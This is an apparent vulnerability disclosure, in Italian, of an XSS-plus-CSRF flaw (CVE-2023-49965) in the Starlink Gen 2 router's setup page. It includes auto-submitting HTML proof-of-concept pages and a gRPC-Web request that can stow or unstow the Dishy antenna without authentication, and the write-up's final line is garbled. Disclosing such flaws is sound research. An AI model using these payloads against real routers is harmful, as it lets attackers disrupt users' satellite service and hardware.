yoshida-git-ai/spacex-starlink-router-gen-2-xssCVE-2023-49965 | SpaceX / Starlink Router Gen 2 XSS
Potete vedere la versione coreana del post qui :
https://hackintoanetwork.com/blog/2023-starlink-router-gen2-xss-kor
Una vulnerabilità Cross-Site Scripting (XSS) nella pagina iniziale del captive portal del router di seconda generazione potrebbe consentire a un attaccante di prendere il controllo del router e di Dishy.
La vulnerabilità è causata da un filtraggio insufficiente dei valori di input per i parametri ssid e password nella pagina iniziale di configurazione del router (http://192.168.1.1/setup).
<html>
<body>
<h1>Proof of Concept</h1>
<form id="PoC" method="POST" action="http://192.168.1.1/setup">
<input type="hidden" name="ssid" value='" onfocus=javascript:alert(`XSS`); autofocus="'>
<!-- <input type="hidden" name="password" value='" onfocus=javascript:alert(`XSS`); autofocus="'> -->
</form>
<script type="text/javascript">
document.addEventListener("DOMContentLoaded", function() {
document.getElementById("PoC").submit();
});
</script>
</body>
<html>
Questa vulnerabilità Cross-Site Scripting (XSS) può essere sfruttata in combinazione con un attacco Cross-Site Request Forgery (CSRF), come mostrato nella proof of concept sopra.
Normalmente, la pagina del portale captive dovrebbe essere attiva solo sull'indirizzo interno del router, 192.168.1.1, ma c'era un bug nei router meno recenti che consentiva alla pagina del portale captive di essere accessibile inaspettatamente dall'indirizzo interno di Dishy, 192.168.100.1.
http://192.168.1.1/setup → La pagina del portale captive viene visualizzata correttamente.
http://192.168.100.1/setup → La pagina del portale captive viene visualizzata anche a questo indirizzo.
(Normalmente, l'accesso alla pagina del portale captive non dovrebbe essere possibile all'indirizzo interno di Dishy, 192.168.100.1.)
Utilizzando un tale bug insieme alla vulnerabilità Cross-Site Scripting (XSS) è possibile aggirare la Same-Origin Policy (SOP) del browser, consentendo il controllo sia del router che di Dishy.
Si può confermare che la stessa vulnerabilità Cross-Site Scripting (XSS) si verifica anche all'indirizzo http://192.168.100.1/setup.
Ora vediamo come è possibile sfruttare questi bug per prendere il controllo del Router e di Dishy.
Quando il comando Stow viene emesso dall'interfaccia di amministrazione, la seguente richiesta HTTP viene inviata a Dishy
(Nota: il comando Stow consente di piegare l'antenna di Dishy per lo spostamento o lo stoccaggio.)
POST /SpaceX.API.Device.Device/Handle HTTP/1.1
Host: 192.168.100.1:9201
Content-Length: 8
x-grpc-web: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
content-type: application/grpc-web+proto
Accept: */*
Origin: http://dishy.starlink.com
Referer: http://dishy.starlink.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
�}
L'header di questa richiesta contiene diverse informazioni importanti.
x-grpc-web: 1
Indica l'uso del protocollo gRPC-Web.
(gRPC-Web è un protocollo che consente ai client web di effettuare chiamate gRPC a un server.)
content-type: application/grpc-web+proto
Indica che i dati trasmessi utilizzano il protocollo gRPC e sono codificati in formato protobuf.
Corpo della Richiesta
Corpo della richiesta Dishy Stow (Hex)
\x00\x00\x00\x00\x03\xef\xbf\xbd\x7d\x00
Il corpo della richiesta contiene dati nel formato grpc-web+proto, che con ogni probabilità contiene i dettagli del comando Stow.
Mettendo insieme queste informazioni, quando un utente emette un comando Stow tramite l'interfaccia di amministrazione, il comando viene inviato a Dishy via gRPC, il quale piega Dishy in uno stato portatile.
Tuttavia, se si osserva la richiesta, si noterà che non è prevista alcuna autenticazione per l'utente che la invia.
Ciò significa che qualcuno diverso da un amministratore potrebbe inviare la stessa richiesta e prendere il controllo di Dishy senza autorizzazione. Ma questa vulnerabilità richiede che l'attaccante abbia accesso fisico alla rete locale, il che limita la portata dell'attacco rispetto ad attacchi che possono avvenire da remoto.
Se è così, potresti pensare di poter tentare un attacco Cross-Site Request Forgery (CSRF) con un payload che invia la stessa richiesta.
Sebbene questo sia uno scenario possibile, la Same-Origin Policy (SOP) del browser limita questo attacco.
gRPC richiede uno specifico header content-type chiamato application/grpc-web+proto.
Tuttavia, la Same-Origin Policy (SOP) fa sì che i browser rimuovano questo header quando inviano richieste da altre origini.
Ciò rende impossibile inviare richieste gRPC a Dishy dall'esterno in circostanze normali.
Normalmente, una Same-Origin Policy (SOP) impedisce ai browser web di effettuare richieste da origini diverse.
Tuttavia, con una vulnerabilità Cross-Site Scripting (XSS), un attaccante può eseguire uno script nel browser web della vittima.
Gli script iniettati da un attaccante utilizzando una vulnerabilità Cross-Site Scripting (XSS) sono considerati eseguiti dalla stessa origine (cioè, il sito web su cui la vittima si trova attualmente).
Per questo motivo, la Same-Origin Policy (SOP) riconosce le richieste generate da questi script come provenienti dalla stessa origine, e quindi le restrizioni della Same-Origin Policy (SOP) non si applicano in questo caso.
Pertanto, in un attacco Cross-Site Request Forgery (CSRF) che utilizza una vulnerabilità Cross-Site Scripting (XSS) e richiede uno specifico header content-type, come una richiesta gRPC, poiché lo script dell'attacco viene eseguito all'interno del browser della vittima, la richiesta viene riconosciuta come legittima e inviata con questo specifico header content-type.
Ad esempio, concatenando un bug in 192.168.100.1 e la vulnerabilità Cross-Site Scripting (XSS), un attaccante potrebbe inviare uno script dannoso per usare il browser dell'utente come proxy e inviare una richiesta grpc per comandare il Router o Dishy. (L'attaccante potrebbe inviare una varietà di richieste grpc, inclusi i comandi Stow e Unstow di Dishy).
Pertanto, concatenando la vulnerabilità Cross-Site Scripting (XSS) e il suddetto bug, è possibile costruire un payload che invia una richiesta Stow gRPC a Dishy come segue: (Il risultato è che un attaccante può prendere da remoto il controllo del router o di Dishy. Ad esempio, potrebbe inviare comandi grpc per modificare router settings o manipolare Dishy's functionality.)
<html>
<body>
<h1>Dishy Stow and Unstow</h1>
<form id="PoC" method="POST" action="http://192.168.100.1/setup">
<!-- <input type="hidden" name="ssid" value='" onfocus=javascript:alert(`XSS`); autofocus="'> -->
<input type="hidden" name="password" value='"><script>for(let i=0;i<100;i++){setTimeout(()=>{var xhr=new XMLHttpRequest();xhr.open("POST","http://192.168.100.1:9201/SpaceX.API.Device.Device/Handle",true);xhr.setRequestHeader("x-grpc-web","1");xhr.setRequestHeader("Content-Type","application/grpc-web+proto");xhr.onreadystatechange=()=>{if(xhr.readyState==4&&xhr.status==200){console.log(xhr.responseText);}};xhr.send(new Uint8Array([0,0,0,0,3,146,125,0]).buffer);setTimeout(()=>{var xhr2=new XMLHttpRequest();xhr2.open("POST","http://192.168.100.1:9201/SpaceX.API.Device.Device/Handle",true);xhr2.setRequestHeader("x-grpc-web","1");xhr2.setRequestHeader("Content-Type","application/grpc-web+proto");xhr2.onreadystatechange=()=>{if(xhr2.readyState==4&&xhr2.status==200){console.log(xhr2.responseText);}};xhr2.send(new Uint8Array([0,0,0,0,5,146,125,2,8,1]).buffer);},1000);},i*2000);}</script><input type="hidden'/>
</form>
<script type="text/javascript">
document.addEventListener("DOMContentLoaded", function() {
document.getElementById("PoC").submit();
});
</script>
</body>
<html>
$500 USD )2023.48.0 e successive)